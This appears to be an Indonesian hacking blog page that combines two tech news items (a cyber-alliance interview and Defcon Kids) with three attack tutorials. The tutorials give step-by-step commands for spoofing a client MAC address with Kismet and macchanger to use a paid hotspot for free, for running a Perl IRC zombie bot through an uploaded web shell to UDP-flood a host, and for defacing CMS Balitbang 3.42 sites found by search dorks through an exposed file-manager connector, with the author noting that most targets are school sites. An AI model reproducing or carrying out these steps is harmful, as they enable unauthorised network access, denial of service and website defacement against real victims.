Perang Cyber Butuh Aliansi Internasional

Sendirian, sebuah negara akan kesulitan menghadapi berbagai senjata cyber yang menyerangnya. Untuk itu, dibutuhkan semacam aliansi internasional seperti NATO untuk dunia cyber.

"Serangan cyber di tingkat negara adalah yang terburuk, banyak yang mulai menggunakan semacam senjata cyber untuk menyerang negara tertentu," kata Aleks Gostev, Chief Security Expert, Global Research and Analysis Team, Kaspersky Lab yang dikutip detikINET, Sabtu (25/6/2011).

Dengan makin banyaknya insiden keamanan di tingkat negara, Aleks mengatakan cara pertama yang perlu dilakukan adalah melakukan edukasi. Namun hal itu saja tidak cukup.

"Negara-negara di dunia perlu serius memikirkan semacam aliansi baru. Karena satu negara sendirian tak akan cukup efektif dalam melawan hal ini," ia menambahkan.

Meski demikian, belum tentu semua negara mau bergabung dalam satu aliansi yang sama. Hal ini, ujar Aleks, sangat tergantung dari kondisi politik setiap negara di dunia nyata.

Ia mengaku ada kemungkinan aliansi yang terbentuk akan menyesuaikan dengan aliansi politik yang sudah ada saat ini. Meskipun ia tidak yakin bahwa kemudian akan timbul perang cyber antar aliansi ini.

NB : DetikInet Read More...

Mendapatkan Hak Akses Hotspot yang diproteksi MAC Address

Saat ini dilokasi-lokasi keramaian seperti Mall, Cafe, Kampus, ataupun Kantor-kantor banyak sekali tersedia hotspot area yang memungkinkan seseorang mendapatkan koneksi internet dengan wifi. Akan tetapi fasilitas hotspot ini biasanya tidak gratis. Seorang user yang ingin mendapatkan koneksi internet harus lebih dulu membeli voucher atau mendaftarkan laptopnya kepada penyedia hotspot untuk mendapatkan koneksi internet. Dan untuk mencegah layanan ini diakses dengan gratis, biasanya hotspot area diproteksi agar tidak bisa diakses oleh sembarang orang.

Beberapa metode proteksi yang biasanya digunakan salah satunya adalah proteksi dengan menggunakan MAC Address Filtering. Dengan menggunakan proteksi ini, maka hanya device seperti laptop atau radio yang MAC Addressnya sudah terdaftar di server saja yang bisa mengakses internet.

Mengetahui hotspot yang diproteksi MAC Address Filtering

Biasanya sebuah hotspot terdeteksi oleh Wireless adaptor kita sebagai SSID (Service Set Identifier) atau pemberian nama untuk sebuah hotspot area. Karena dalam sebuah lokasi bisa terdapat beberapa hotspot area. Dan untuk membedakan masing-masing hotspot ini biasanya diberi nama atau yang biasa disebut dengan SSID. Ciri-ciri SSID yang diproteksi MAC biasanya tidak ada tanda signal yang didapat walaupun koneksi sudah dilakukan ke SSID tersebut (bahkan password sudah dimasukkan dengan benar --- [jika di proteksi juga dengan password]).
Mendapatkan hak akses SSID

Pada kasus kali ini percobaan akan dilakukan terhadap Access Point yang memiliki SSID “Jamz-Spot”, menggunakan Laptop dengan system operasi Ubuntu 9.04 dengan tools Kismet. Kismet harus terlebih dahulu diinstall melalui internet dengan mengetikkan didalam console

Quote

root@jmozac:/home/jamz# apt-get install kismet

Yang harus kita lakukan pertama kali disini adalah scanning SSID-SSID yang tersedia di hotspot area menggunakan Kismet. Sehingga akan muncul list-list SSID yang tersedia. Ketikkan “kismet” pada console sehingga akan muncul tampilan awal kismet dan beberapa SSID yang didapatkan



Kemudian tekan “Spasi” untuk melanjutkan. Untuk melihat sintaks-sintaks yang bisa digunakan tools ini, tekan “h” pada keyboards. Selanjutnya adalah mengurutkan SSID-SSID yang telah terdeteksi. Tekan “s” (sort) pada keyboard untuk mengurutkannya.



Lalu pilih salah satu SSID yang ingin diakses. Tekan “c” untuk melihat client-client yang sudah terkoneksi di hotspot tersebut. Sehingga akan muncul tampilan seperti berikut



Setelah mendapatkan daftar MAC address dari client yang ada di hotspot tersebut, kemudian pilih salah satunya untuk kita jadikan MAC Address baru di laptop kita. Untuk mengubah MAC Address di laptop, gunakan tools MAC Changer.

Quote

root@jmozac:/home/jamz# apt-get install macchanger

untuk melihat MAC Address awal pada laptop, kita gunakan perintah “ifconfig wlan0”

Quote

root@jmozac:/home/jamz# ifconfig wlan0 wlan0 Link encap:Ethernet HWaddr 00:19Big Grin2:8b:68Big Grina
inet addr:200.100.10.3 Bcast:200.100.10.15 Mask:255.255.255.240 inet6 addr: fe80::219:d2ff:fe8b:68da/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:36 errors:0 dropped:0 overruns:0 frame:0 TX packets:59 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2844 (2.8 KB) TX bytes:11057 (11.0 KB)

kemudian ubah MAC address menggunakan MAC Changer, tapi sebelumnya non-aktifkan dulu wlan0.

Quote

root@jmozac:/home/jamz# ifconfig wlan0 down (non-aktifkan wlan0)
root@jmozac:/home/jamz# macchanger -m 00:24:41:42:f6:af wlan0
Current MAC: 00:19Big Grin2:8b:68Big Grina (unknown) Faked MAC: 00:24:41:42:f6:af (unknown)
root@jmozac:/home/jamz# ifconfig wlan0 up (untuk mengaktifkan kembali wlan0)

Sekarang MAC Address kita telah berubah. Berikutnya kita tinggal kembali mengkoneksikan laptop kita dengan SSID “Jamz-Spot” tersebut. Jika berhasil maka akan muncul pop-up sambungan wireless kita telah terkoneksi dengan hotspot tersebut.

NB : K4pT3N & Xcrew Read More...

Bocah 8 Tahun Digembleng Jadi 'Hacker Putih'

Konferensi hacker terbesar di dunia, Defcon, yang berlangsung di Las Vegas, Amerika Serikat, membuka sesi baru yang memungkinkan anak-anak turut serta. Diharapkan setelah mengikuti acara ini, anak-anak yang memiliki skill IT di atas rata-rata dapat lebih terarah dan menjadi 'hacker putih'.

Defcon Kids -- demikian nama acara baru tersebut -- digelar pada 6 dan 7 Agustus 2011. Batasan umur yang diberlakukan untuk bisa mengikuti acara ini mulai dari 8-16 tahun.

Para ABG atau remaja tanggung bisa belajar sekaligus mendapat tambahan ilmu di acara tahunan tersebut. Mulai dari mengasah kemampuan komputer hingga memperkuat ilmu dalam hal menjaga keamanan dari serangan cyber.

Namun satu hal penting yang juga dimasukkan dalam 'kurikulum' konferensi ini adalah soal etika. Penyelenggara ingin meyakinkan cikal bakal hacker dunia itu mengenai betapa asyiknya menjadi 'hacker putih'.

Tentu saja, gelar 'white hacker' ini berlawanan dengan 'black hacker'. Ketika si peretas hitam terus berupaya melancarkan serangan ke sistem komputer orang lain, 'hacker putih' justru berperan memerangi kejahatan cyber atau merancang sistem keamanan komputer organisasi/perusahaan yang tangguh.

Intinya, acara yang baru pertama kali diadakan untuk anak-anak tersebut ingin mengarahkan pesertanya agar lebih terkontrol. Tujuannya jelas, agar mereka tidak terjerembab kejahatan cyber yang ujung-ujung bakal berurusan dengan pihak berwajib.

"Aktivitas hacking tidak sekadar permainan yang menyenangkan dan menerobos sistem komputer orang lain," ujar seorang remaja 16 tahun yang ambil bagian dalan Defcon Kids.

kalian juga bisa ikut berpartisipasi ke dalam forum Defcon, dengan mengakses https://forum.defcon.org/index.php

NB : DetikInet Read More...

Step by Step DDOS with Zombie via MIRC

Askum n Salam Sejahtera

sudah lama g nulis di blog nie

xixixixixixi

mungkin karena Q lagi sibuk dengan skripsi

oke langsung saja, sekarang saya akan memberikan tutorial mengenai DDOS (Distributed Denial Of Service)

untuk pengertiannya sendiri pasti sudah banyak yang tahu, apa itu DDOS

jadi saya anggap kalian semua sudah tau, sekarang saya akan memberikan sedikit pengetahuan tentang cara membuat bot zombie yang akan dijalankan melalui MIRC

1. Pilih web yang memiliki Vuln/hole

2. setelah user+password ditemukan, maka langkah selanjutnya adalah mencari menu upload
dimana kita akan mengupload sebuah shell. anggap saja kita sudah memiliki sebuah shell yang Perl ON

3. setelah itu kita pilih direktori yang akan kita upload script zombienya

4. setelah kita masuk kedalam direktori yang diinginkan, saatnya kita akan mengupload script zombienya

5. jika sukses dalam hal mengupload, maka akan muncul sebuah file baru didalam direktori tersebut

6. selanjutnya kita menggunakan command "perl namafile.txt" untuk menjalankan bot zombie kedalam MIRC

7. jika setelah kita mengetikkan command "perl namafile.txt" hanya terjadi loading saja, maka berarti kita sukses mengload bot zombie ke dalam MIRC
maka dari itu sekarang kita pindah ke MIRC, dan apa yang terjadi....
terdapat beberapa bot zombie yang telah kita load ke dalam MIRC

8. sekarang kita tinggal memberi command "!bot @help" untuk menjalankan semua bot zombie kita

9. setelah itu kita ketik command "!bot @ddos"

10. selanjutnya kita tentukan target untuk DDOS, caranya ketik "!bot @udpflood <host> <packet size> <time>"

  

11. dan yang terakhir kita tinggal menunggu result dari serangan kita

mungkin sekian dulu tutorial cupu dari saya, jika ada pertanyaan bisa memberikan komentar untuk posting ini

semoga bermanfaat untuk kita semua

waskum :D Read More...

[POC] deface CMS Balitbang 3.42

Askum

skrg ane mau share tutorial deface CMS Balitbang 3.42

bagi yang lum tau hasil dari deface bisa menuju

[url]http://duniasantai.com/threads/1183-orang-cupu-ijin-show-off-ea-den[/url]

oke langsung j ea den

CMS Balitbang 3.42
Dork : inurl:"/html/siswa.php?" inurl:"/html/alumni.php?" inurl:"/html/guru.php?"
Exploite : [url]http://public_html/dir/editor/filemanager/connectors/test.html[/url]

1. kita masukin dork untuk mencari bug pada CMS Balitbang 3.42

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG1.jpg[/IMG]

2. kemudian kita memilih salah satu dari hasil pencarian dengan memakai dork tersebut

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG2.jpg[/IMG]

itu adalah tampilan asli dari web yang akan kita deface

3. setelah itu kita masukin exploit untuk CMS Balitbang 3.42 pada address barnya

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG3.jpg[/IMG]

maka secara automatis tampilan akan berubah seperti gambar di atas

4. rubah menu ASP menjadi PHP dan selanjutnya kita search file yang akan kita sisipkan ke dalam web tersebut

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG4.jpg[/IMG]

catatan: file yang bisa disisipkan hanya file yang berextensi *.txt

5. jika file sukses sukses terupload maka akan seperti dibawah ini

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG5.jpg[/IMG]

6. setelah itu kita tinggal search file yang disisipkan kedalam web tersebut

[IMG]http://i842.photobucket.com/albums/zz349/dzhenway/BALITBANG6.jpg[/IMG]

catatan: file akan berada disini ([url]http://www.xxx.com/home/userfiles/file/Nama_File.txt[/url])

jjjrreeenngggg web tersebut telah anda deface

gampangkan caranya

mungkin sekian dulu tutorial cupu dari ane, sekalian lw da yang bisa edit sedikit biar bisa upload shell.php :guling:

mohon maaf bila kebanyakan web hasil search adalah web-web sekolah di Indonesia :mewek:

n juga ane minta maaf lw cman bisa deface tp tidak bisa dalam hal patching (g da yang ngajarin cara defendnya :mewek:)

waskum aden2

NB:Mhiman Read More...